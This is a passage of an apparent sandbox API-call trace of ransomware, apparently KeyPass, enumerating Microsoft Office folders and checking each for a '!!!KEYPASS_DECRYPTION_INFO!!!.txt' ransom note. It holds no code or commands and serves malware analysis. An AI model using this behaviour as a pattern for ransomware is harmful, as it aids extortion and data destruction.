LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.149] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.149] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.150] CloseHandle (hObject=0xbd8) returned 1 [0267.150] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.150] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.150] GetLastError () returned 0x3f0 [0267.150] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.150] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.219] GetFileType (hFile=0xbdc) returned 0x1 [0267.219] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.219] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.219] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.220] CloseHandle (hObject=0xbdc) returned 1 [0267.220] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.220] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.220] GetLastError () returned 0x3f0 [0267.220] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.220] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.276] GetFileType (hFile=0xbe0) returned 0x1 [0267.276] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.276] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.276] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.277] CloseHandle (hObject=0xbe0) returned 1 [0267.277] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.277] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.277] GetLastError () returned 0x3f0 [0267.277] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.277] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.281] GetFileType (hFile=0xbe8) returned 0x1 [0267.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.282] CloseHandle (hObject=0xbe8) returned 1 [0267.283] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.283] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.283] GetLastError () returned 0x3f0 [0267.283] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.283] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.284] GetFileType (hFile=0xbec) returned 0x1 [0267.284] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.284] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.284] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.285] CloseHandle (hObject=0xbec) returned 1 [0267.285] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.285] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.285] GetLastError () returned 0x3f0 [0267.285] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.285] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.473] GetFileType (hFile=0xbf0) returned 0x1 [0267.473] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.473] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.473] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.474] CloseHandle (hObject=0xbf0) returned 1 [0267.474] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0267.474] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.474] GetLastError () returned 0x3f0 [0267.474] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.474] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.475] GetFileType (hFile=0xbf4) returned 0x1 [0267.475] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0267.475] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0267.475] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0267.476] CloseHandle (hObject=0xbf4) returned 1 [0267.476] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0267.476] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.476] GetLastError () returned 0x3f0 [0267.476] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.476] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.477] GetFileType (hFile=0xbf8) returned 0x1 [0267.477] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0267.477] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0267.477] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0267.478] CloseHandle (hObject=0xbf8) returned 1 [0267.478] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0267.478] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.478] GetLastError () returned 0x3f0 [0267.478] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.478] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.541] GetFileType (hFile=0xbfc) returned 0x1 [0267.541] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0267.541] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0267.541] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0267.542] CloseHandle (hObject=0xbfc) returned 1 [0267.542] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0267.542] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.542] GetLastError () returned 0x3f0 [0267.542] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.542] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.543] GetFileType (hFile=0xc04) returned 0x1 [0267.543] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0267.543] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0267.543] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0267.544] CloseHandle (hObject=0xc04) returned 1 [0267.544] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0267.544] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.544] GetLastError () returned 0x3f0 [0267.544] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.544] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.583] GetFileType (hFile=0xc08) returned 0x1 [0267.583] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0267.583] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0267.583] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0267.584] CloseHandle (hObject=0xc08) returned 1 [0267.584] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.584] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.584] GetLastError () returned 0x3f0 [0267.584] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.584] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.593] GetFileType (hFile=0xbe4) returned 0x1 [0267.593] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.593] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.593] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.594] CloseHandle (hObject=0xbe4) returned 1 [0267.594] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.594] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.594] GetLastError () returned 0x3f0 [0267.594] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.594] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.655] GetFileType (hFile=0xc10) returned 0x1 [0267.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.656] CloseHandle (hObject=0xc10) returned 1 [0267.656] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0267.657] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.657] GetLastError () returned 0x3f0 [0267.657] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.657] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.657] GetFileType (hFile=0xc14) returned 0x1 [0267.657] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0267.657] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0267.657] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0267.658] CloseHandle (hObject=0xc14) returned 1 [0267.658] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.658] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.658] GetLastError () returned 0x3f0 [0267.658] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\VISIO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\VISIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.658] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\VISIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.659] GetFileType (hFile=0xc18) returned 0x1 [0267.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.660] CloseHandle (hObject=0xc18) returned 1 [0267.660] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.660] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.660] GetLastError () returned 0x3f0 [0267.660] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.660] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.680] GetFileType (hFile=0xc0c) returned 0x1 [0267.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.681] CloseHandle (hObject=0xc0c) returned 1 [0267.703] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0267.703] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.703] GetLastError () returned 0x3f0 [0267.703] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.703] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.706] GetFileType (hFile=0xc1c) returned 0x1 [0267.706] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0267.706] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0267.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0267.707] CloseHandle (hObject=0xc1c) returned 1 [0267.708] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.708] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.708] GetLastError () returned 0x3f0 [0267.708] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office 2016 Tools\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office 2016 Tools\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.708] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office 2016 Tools\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.715] GetFileType (hFile=0xc20) returned 0x1 [0267.715] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.715] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.716] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.716] CloseHandle (hObject=0xc20) returned 1 [0267.716] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.716] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.716] GetLastError () returned 0x3f0 [0267.716] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office Tools\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office Tools\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.716] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office Tools\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.821] GetFileType (hFile=0xc28) returned 0x1 [0267.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.822] CloseHandle (hObject=0xc28) returned 1 [0267.822] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0267.822] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.822] GetLastError () returned 0x3f0 [0267.822] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.822] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.823] GetFileType (hFile=0xc2c) returned 0x1 [0267.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0267.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, 